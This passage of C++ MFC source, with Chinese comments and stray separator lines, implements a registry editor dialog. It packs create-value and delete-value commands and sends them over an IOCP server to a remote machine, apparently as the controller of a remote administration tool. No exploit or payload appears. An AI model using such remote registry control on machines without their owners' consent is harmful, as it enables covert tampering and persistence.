tmp+=msg.size;
|
||
memcpy(tmp,dlg.m_strValue.GetBuffer(0),msg.valsize); //值
|
||
tmp=buf+3+sizeof(msg);
|
||
|
||
// 善后
|
||
type=MREG_DWORD;
|
||
nFlag=4;
|
||
Key=dlg.m_strName;
|
||
Value=dlg.m_strValue;
|
||
//
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(buf), size);
|
||
delete[] buf;
|
||
//LocalFree(buf);
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemExstr()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CRegeditTextDlg dlg(this);
|
||
if(isEdit){ //是编辑
|
||
dlg.m_strName=Key;
|
||
dlg.m_strValue=Value;
|
||
dlg.EPath=true;
|
||
|
||
}
|
||
dlg.DoModal();
|
||
if(dlg.isOK)
|
||
{
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
char bToken=GetFatherPath(FullPath);
|
||
DWORD size=1+1+1+sizeof(REGMSG)+FullPath.GetLength()+dlg.m_strName.GetLength()+dlg.m_strValue.GetLength()+6;
|
||
char* buf=new char[size];
|
||
ZeroMemory(buf,size);
|
||
|
||
REGMSG msg;
|
||
msg.count=FullPath.GetLength(); //项大小
|
||
msg.size=dlg.m_strName.GetLength(); //键大小
|
||
msg.valsize=dlg.m_strValue.GetLength(); //数据大小
|
||
|
||
buf[0]= COMMAND_REG_CREATKEY; //数据头
|
||
buf[1]=MREG_EXPAND_SZ; //值类型
|
||
buf[2]=bToken; //父键
|
||
memcpy(buf+3,(void*)&msg,sizeof(msg)); //数据头
|
||
char* tmp=buf+3+sizeof(msg);
|
||
if(msg.count>0)
|
||
memcpy(tmp,FullPath.GetBuffer(0),msg.count); //项
|
||
tmp+=msg.count;
|
||
memcpy(tmp,dlg.m_strName.GetBuffer(0),msg.size); //键名
|
||
tmp+=msg.size;
|
||
memcpy(tmp,dlg.m_strValue.GetBuffer(0),msg.valsize); //值
|
||
tmp=buf+3+sizeof(msg);
|
||
|
||
// 善后
|
||
type=MREG_EXPAND_SZ;
|
||
nFlag=4;
|
||
Key=dlg.m_strName;
|
||
Value=dlg.m_strValue;
|
||
//
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(buf), size);
|
||
delete[] buf;
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
if(!isEnable)
|
||
return;
|
||
if( SelectNode== m_hRoot)
|
||
{
|
||
return;
|
||
}
|
||
|
||
CMenu popup;
|
||
popup.LoadMenu(IDR_MENU_REGEDIT_LIST);
|
||
CMenu* pM = popup.GetSubMenu(0);
|
||
CPoint p;
|
||
GetCursorPos(&p);
|
||
|
||
if (m_list.GetSelectedCount() == 0) //没有选中
|
||
{
|
||
pM->EnableMenuItem(0, MF_BYPOSITION | MF_GRAYED); //编辑
|
||
pM->EnableMenuItem(1, MF_BYPOSITION | MF_GRAYED); //删除
|
||
}else{
|
||
if(GetEditType(m_list.GetSelectionMark())==100)
|
||
pM->EnableMenuItem(0, MF_BYPOSITION | MF_GRAYED); //编辑
|
||
pM->EnableMenuItem(2, MF_BYPOSITION | MF_GRAYED); //新建
|
||
|
||
}
|
||
// pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
|
||
CXTPCommandBars::TrackPopupMenu(pM,TPM_RIGHTBUTTON,p.x,p.y,this);
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemRegDel()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
REGMSG msg;
|
||
|
||
int index=m_list.GetSelectionMark();
|
||
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
char bToken=GetFatherPath(FullPath);
|
||
|
||
CString key=m_list.GetItemText(index,0); //得到键名
|
||
|
||
msg.size=FullPath.GetLength(); // 项名大小
|
||
msg.valsize=key.GetLength(); //键名大小
|
||
|
||
int datasize=sizeof(msg)+msg.size+msg.valsize+4;
|
||
char *buf=new char[datasize];
|
||
ZeroMemory(buf,datasize);
|
||
|
||
buf[0]=COMMAND_REG_DELVAL; //命令头
|
||
buf[1]=bToken; //主键
|
||
memcpy(buf+2,(void*)&msg,sizeof(msg)); //数据头
|
||
if(msg.size>0) //根键 就不用写项了
|
||
memcpy(buf+2+sizeof(msg),FullPath.GetBuffer(0),FullPath.GetLength()); //项值
|
||
memcpy(buf+2+sizeof(msg)+FullPath.GetLength(),key.GetBuffer(0),key.GetLength()); //键值
|
||
nFlag=3;
|
||
this->index=index;
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(buf), datasize);
|
||
delete[] buf;
|
||
|
||
}
|
||
|
||
//extern void SetClipboardText(CString &Data);
|
||
void CRegeditDlg::OnMenuitemTreeCopyname()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
// CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
// SetClipboardText(FullPath);
|
||
// CString msg;
|
||
// msg.Format("路径 %s 已复制到剪切板", FullPath.GetBuffer(0));
|
||
// MessageBox(msg,"提示", MB_ICONINFORMATION);
|
||
// return;
|
||
}
|